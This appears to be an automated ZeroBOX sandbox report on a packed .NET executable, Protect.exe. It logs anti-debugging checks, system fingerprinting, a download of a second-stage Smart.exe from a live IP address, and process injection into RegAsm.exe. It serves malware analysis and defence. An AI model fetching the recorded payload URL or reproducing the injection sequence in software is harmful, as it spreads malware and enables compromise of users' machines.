Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Aug. 6, 2024, 10:13 a.m.	Aug. 6, 2024, 10:17 a.m.

Size	281.4KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`8884df7aa725803e4f9ba0a99a477401`
SHA256	`783d41ccd6d1a2242e9e49f965f84a3cbeed968f7f9ce7d2f36659ec903a3bdb`
CRC32	`35F69143`
ssdeep	`6144:o03O5KZsHr/BW5uE/JJz6UehxZz+a3iAXwjXmXn:o0AKZ0U5u2z69SPjmXn`
Yara	PE_Header_Zero - PE File Signature Is_DotNET_EXE - (no description) IsPE32 - (no description)

Protect.exe "C:\Users\test22\AppData\Local\Temp\Protect.exe"
2540
- csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\nr2pbihw.cmdline"
  2672
  - cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\test22\AppData\Local\Temp\RESC11.tmp" "c:\Users\test22\AppData\Local\Temp\CSC3358698594D4499EBE9E87D7E1AC1F6E.TMP"
    2768
- RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2856

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
147.45.44.131	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 147.45.44.131:80 -> 192.168.56.101:49173	2400022	ET DROP Spamhaus DROP Listed Traffic Inbound group 23	Misc Attack
TCP 192.168.56.101:49173 -> 147.45.44.131:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 147.45.44.131:80 -> 192.168.56.101:49173	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 147.45.44.131:80 -> 192.168.56.101:49173	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 147.45.44.131:80 -> 192.168.56.101:49173	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 147.45.44.131:80 -> 192.168.56.101:49173	2015588	ET HUNTING Suspicious Windows Executable WriteProcessMemory	Misc activity

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Aug. 6, 2024, 10:06 a.m.			0	0
IsDebuggerPresent Aug. 6, 2024, 10:06 a.m.			0	0

Uses Windows APIs to generate a cryptographic key (9 events)

Time & API	Arguments	Status	Return
CryptExportKey Aug. 6, 2024, 10:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000005261e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2024, 10:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000005261e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2024, 10:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000005261e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2024, 10:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000005261e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2024, 10:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000005261e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2024, 10:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000005261e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2024, 10:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000005261e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2024, 10:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000005261e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 6, 2024, 10:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000005261e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Aug. 6, 2024, 10:06 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header, Connection to IP address

suspicious_request

GET http://147.45.44.131/files/Smart.exe

Performs some HTTP requests (1 event)

request

GET http://147.45.44.131/files/Smart.exe

Allocates read-write-execute memory (usually to unpack itself) (50 out of 62 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 1703936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000770000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000890000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef409b000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 2490368 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002280000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002460000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a02000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a02000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a02000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a02000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a02000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a02000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a02000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a02000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a02000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a02000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a02000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a04000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a04000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a04000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3a04000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9425a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9430c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94336000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94310000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9426c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94380000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9427b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9425b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe942ac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9427d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94252000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe943c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007304c000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9426a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94381000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9426b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe943c1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe942ad000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe943e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe943c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe943e1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe943e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2540 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe943e3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Creates executable files on the filesystem (1 event)

file	c:\Users\test22\AppData\Local\Temp\nr2pbihw.dll

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\nr2pbihw.dll

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Aug. 6, 2024, 10:06 a.m.	flags: 15 family: 0		111	0

An executable file was downloaded by the process protect.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
recv Aug. 6, 2024, 10:06 a.m.	buffer: HTTP/1.1 200 OK Date: Tue, 06 Aug 2024 01:15:48 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Aug 2024 12:58:23 GMT ETag: "cf000-61eef3b6dd7d8" Accept-Ranges: bytes Content-Length: 847872 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELù)Öà"0ä î @ ` @ O @ H.textôã ä `.rsrc æ@@.reloc@ î@BÐ HÀ'ÜÛ( â~rp( ( ~o ( ~o (8( ( Ê( r6Àp( o ÎÐ( rÑÀp( %¢% ¢o ¥"ÎÐ( ráÀp( %¢% ¢o ¥ ( (Ð( ( ¥0yÐ( ( #+Vo rñÀp( ,>o o o rÁp( ,% ¢o tXi2¤0k%%rÁp¢%r!Áp¢%r-Áp¢%rGÁp¢%rsÁp¢%rÁp¢%rÁÁp¢%rãÁp¢%rÂp¢% r'Âp¢% rKÂp¢%ruÂp¢0 8þþÐ( ( (! }~ rÂp~" ~" ~" o5-s# z<(2XX( ³ ($ 3~ {o!- s# z~ {o-s# z)~ {Xo--s# z3~ {o1,s# zPX( TX( ~ { 0@o%-s# z~ { o)-s# z øX X(80Ð( ráÀp( %¢% X ¢o ¥ Ð( ráÀp( %¢% X ¢o ¥ Ð( ráÀp( %¢% X ¢o ¥ ,w#Ð+( rÂp( %¢% ¢%¢% ¢%i ¢o &~ {Xio)-s# z (X X?Çþÿÿ(~ {Xo)-s# z(X(,,X($ 3~ {o- s# z~ {o-s# z~ {o3s# zÞ#& {(% (& o' ÞX ?oüÿÿA4Au0ô( ( (+( ( (+( ( (+( ( (+( ( (+( ( (+ ( ( (+ ( ( (+( ( ( +( ( ( + 0/(( o) (9Þ,o Ü,o* Ü* received: 2720 socket: 964	1	2720	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x00044000', u'virtual_address': u'0x00002000', u'entropy': 7.716933248309314, u'name': u'.text', u'virtual_size': u'0x00043e04'}

entropy

7.71693324831

description

A section with a high entropy has been found

entropy

0.992700729927

description

Overall entropy of this PE file is high

Yara rule detected in process memory (9 events)

description	Take ScreenShot	rule	ScreenShot
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\nr2pbihw.cmdline"

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: 2a5a27a9dfe7c3249825df4534498fb552c8ee1b

Communicates with host for which no DNS query was performed (1 event)

host

147.45.44.131

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2856 region_size: 360448 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000000000000284	1	0	0

Deletes executed files from disk (2 events)

file	c:\Users\test22\AppData\Local\Temp\CSC3358698594D4499EBE9E87D7E1AC1F6E.TMP
file	C:\Users\test22\AppData\Local\Temp\RESC11.tmp

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Aug. 6, 2024, 10:06 a.m.	buffer: MZx@xº´ Í!¸LÍ!This program cannot be run in DOS mode.$PEL:¯fàäà@@ò&x04K(¤.text7âä `.rdata+,è@@.dataôù0h@À.reloc4K0L\|@B base_address: 0x0000000000400000 process_identifier: 2856 process_handle: 0x0000000000000284	1	1	0
WriteProcessMemory Aug. 6, 2024, 10:06 a.m.	buffer: @ base_address: 0x000000007efde008 process_identifier: 2856 process_handle: 0x0000000000000284	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Aug. 6, 2024, 10:06 a.m.	buffer: MZx@xº´ Í!¸LÍ!This program cannot be run in DOS mode.$PEL:¯fàäà@@ò&x04K(¤.text7âä `.rdata+,è@@.dataôù0h@À.reloc4K0L\|@B base_address: 0x0000000000400000 process_identifier: 2856 process_handle: 0x0000000000000284	1	1	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2540 resumed a thread in remote process 2856
NtResumeThread Aug. 6, 2024, 10:06 a.m.	thread_handle: 0x0000000000000394 suspend_count: 1 process_identifier: 2856	1	0	0

Executed a process and injected code into it, probably while unpacking (15 events)

Time & API	Arguments	Status	Return
NtResumeThread Aug. 6, 2024, 10:06 a.m.	thread_handle: 0x00000000000000c4 suspend_count: 1 process_identifier: 2540	1	0
NtResumeThread Aug. 6, 2024, 10:06 a.m.	thread_handle: 0x000000000000013c suspend_count: 1 process_identifier: 2540	1	0
NtResumeThread Aug. 6, 2024, 10:06 a.m.	thread_handle: 0x000000000000017c suspend_count: 1 process_identifier: 2540	1	0
CreateProcessInternalW Aug. 6, 2024, 10:06 a.m.	thread_identifier: 2676 thread_handle: 0x0000000000000248 process_identifier: 2672 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\nr2pbihw.cmdline" filepath_r: stack_pivoted: 0 creation_flags: 0 () inherit_handles: 1 process_handle: 0x000000000000024c	1	1
NtResumeThread Aug. 6, 2024, 10:06 a.m.	thread_handle: 0x00000000000003a8 suspend_count: 1 process_identifier: 2540	1	0
CreateProcessInternalW Aug. 6, 2024, 10:06 a.m.	thread_identifier: 2860 thread_handle: 0x0000000000000394 process_identifier: 2856 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe track: 1 command_line: filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x0000000000000284	1	1
NtAllocateVirtualMemory Aug. 6, 2024, 10:06 a.m.	process_identifier: 2856 region_size: 360448 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000000000000284	1	0
WriteProcessMemory Aug. 6, 2024, 10:06 a.m.	buffer: MZx@xº´ Í!¸LÍ!This program cannot be run in DOS mode.$PEL:¯fàäà@@ò&x04K(¤.text7âä `.rdata+,è@@.dataôù0h@À.reloc4K0L\|@B base_address: 0x0000000000400000 process_identifier: 2856 process_handle: 0x0000000000000284	1	1
WriteProcessMemory Aug. 6, 2024, 10:06 a.m.	buffer: base_address: 0x0000000000401000 process_identifier: 2856 process_handle: 0x0000000000000284	1	1
WriteProcessMemory Aug. 6, 2024, 10:06 a.m.	buffer: base_address: 0x0000000000440000 process_identifier: 2856 process_handle: 0x0000000000000284	1	1
WriteProcessMemory Aug. 6, 2024, 10:06 a.m.	buffer: base_address: 0x0000000000443000 process_identifier: 2856 process_handle: 0x0000000000000284	1	1
WriteProcessMemory Aug. 6, 2024, 10:06 a.m.	buffer: base_address: 0x0000000000453000 process_identifier: 2856 process_handle: 0x0000000000000284	1	1
